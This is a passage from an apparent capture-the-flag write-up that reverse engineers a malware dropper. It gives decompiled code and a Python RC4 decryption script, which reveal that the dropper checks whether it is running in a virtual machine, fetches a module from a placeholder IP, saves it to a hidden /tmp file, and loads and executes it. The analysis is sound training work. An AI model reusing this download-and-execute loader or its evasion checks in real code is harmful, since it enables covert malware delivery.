				if ((unsigned __int8)std::ios::operator !(&v34)) {
					close(fd);
					v3 = 0;
				} else {
					while (1) {
						v21 = recv(fd, buf, 0x400u, 0);
						if (v21 <= 0)
							break;
						std::ostream::write((std::ostream *)v33, buf, v21);
					}
					if (v21 >= 0) {
						std::ofstream::close(v33);
						close(fd);
						v15 = (const char *)std::string::c_str(v30);
						handle = dlopen(v15, 258);
						if (handle) {
							RC4_decryptor((__int64)v31, (__int64)&unk_D660, 14, a1, v16, v17);
							v18 = (const char *)std::string::c_str(v31);
							v23 = (void(__fastcall *)(_BYTE *))dlsym(handle, v18);
							if (v23) {
								Comms::Comms((Comms *)v32);
								v23(v32);
								dlclose(handle);
								v3 = 1;
								Comms::~Comms((Comms *)v32);
							} else {
								dlclose(handle);
								v3 = 0;
							}
							std::string::~string(v31);
						} else {
							v3 = 0;
						}
					} else {
						std::ofstream::close(v33);
						close(fd);
						v3 = 0;
					}
				}
				std::ofstream::~ofstream(v33);
				std::string::~string(v30);
				std::string::~string(v29);
				std::string::~string(v28);
				std::string::~string(v27);
				std::string::~string(v26);
			} else {
				close(fd);
				v3 = 0;
			}
		} else {
			close(fd);
			v3 = 0;
		}
		std::string::~string(v25);
	} else {
		return 0;
	}
	return v3;
}
  1. Six decryptions here
  2. std::operator + <char>(v33, v26, "\r\n\r\n"); - looks like the end of an HTTP request…
  3. v27 + v28 + v29 seem to be concatenated post-decryption…
RC4_decryptor( v27, &unk_D644,  5, ... );   //  5 bytes 
RC4_decryptor( v28, &unk_D649,  1, ... );   //  1 byte, could be a `/` ?
RC4_decryptor( v29, &unk_D650, 16, ... );   // 16 bytes
std::operator+<char>( v33, v27, v28 );      // v33 = v27 + v28
std::operator+<char>( v30, v33, v29 );      // v30 = v33 + v29 = (v27 + v28) + v29
...
std::ostream::write( v33, buf, v21 );       // write to v33, so the path might be v27+v28 and v29 might be a payload?

These are the final decryptions:

# sub_7F5D decryptions
ct_7    = bytes([0x53,0xD9,0xC6,0xD8,0x09,0x82,0x27,0xCF,0xA1,0xDE,0x17,0x8A])
ct_8    = bytes([0xD2,0x20,0x8A,0x73,0x75,0x62,0xCB,0x5B,0xB5,0x65,0xDA,0x5F,0x74,0xB1,0xB5,0x4A,0x19,0x7D,0x57,0x92])
ct_9    = bytes([0x10,0xDB,0xF5,0x06,0x99])
ct_10   = bytes([0xC4])
ct_11   = bytes([0x13,0x45,0x0F,0x8E,0xC6,0x01,0x59,0xB1,0x13,0x61,0x49,0x04,0x29,0x12,0xE4,0x9B])
ct_12   = bytes([0x5C,0xF8,0x80,0x3D,0xC8,0x84,0xFC,0x82,0x5A,0xAA,0x1B,0x13,0x9C,0xB2])

ks, s, i, j = rc4_prga( s, i, j, 12 )
print( bytes( a ^ b for a, b in zip( ct_7, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 20 )
print( bytes( a ^ b for a, b in zip( ct_8, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 5 )
print( bytes( a ^ b for a, b in zip( ct_9, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 1 )
print( bytes( a ^ b for a, b in zip( ct_10, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 16 )
print( bytes( a ^ b for a, b in zip( ct_11, ks ) ).decode() )

ks, s, i, j = rc4_prga( s, i, j, 14 )
print( bytes( a ^ b for a, b in zip( ct_12, ks ) ).decode() )
$ python3 crack.py 
DAFIN_SEC_PROFILE
/proc/cpuinfo
flags
hypervisor
systemd-detect-virt 2>/dev/null
r
none
203.0.113.42
GET /module HTTP/1.1
/tmp/
.
330FJgd4GUGUik7B
execute_module

THAT’S IT! THERE’S A PATH!

These 6 strings are decrypted from this file:

  1. 203.0.113.42
  2. GET /module HTTP/1.1
  3. /tmp/
  4. .
  5. 330FJgd4GUGUik7B
  6. execute_module

So this ultimately performs a GET request to an adversary IP address (also from TEST-NET-3), downloads an object and saves it to /tmp/.330FJgd4GUGUik7B, and then calls execute_module via a dlsym call later in the code.

Finally.

We found the malware.

If you made it this far, here’s my Python file that I used to break the code… code_breaker.py

(Also, I checked my /tmp/ directory and there was nothing there, so it didn’t actually write anything there.)

Recap

  1. NSA has detected anomalous behaviours and we were handed a compromised computer’s filesystem, essentially its storage drive. We’ve successfully dug into it and discovered that there was a malicious actor on the device working with a suspicious file. We don’t know anything about any bad side effects just yet.
  2. Previously, we discovered that a computer was compromised on an internal network but we had zero idea about what that device was doing. In this task, we were given network activity involving that computer and any devices within that network segment. We found out that a router was serving poisoned DNS queries; redirecting otherwise normal visits to normal websites to malicious endpoints. The goal was to find the IPs associated with the router, presumably to trace which devices could have connected to it.
  3. We know that the infected router was throwing users onto a compromised domain, but we only saw it happen for ubuntu.com requests. The scale of the poisoning was unknown as there may have been many more additional compromised websites/IPs. Furthermore, we had no idea how the router was performing this. We uncovered a false dnsmasq process running and decoded the full list of IPs and domains which were being poisoned.
  4. Thanks to the myriad of IP addresses discovered in the previous task, the authorities found the hosting server behind the poisoned domains. However, the person they questioned stated that they weren’t in control of the actual malware infecting the routers. Just a middleman hosting it. In this task, we de-obfuscated and reverse engineered a sophisticated “malware dropper” binary which downloads (to the /tmp/ directory) a piece of software hosted by this individual, not necessarily controlled by him. “I’m just the messenger” is what his stance is. Still guilty though.

Task 4 Badge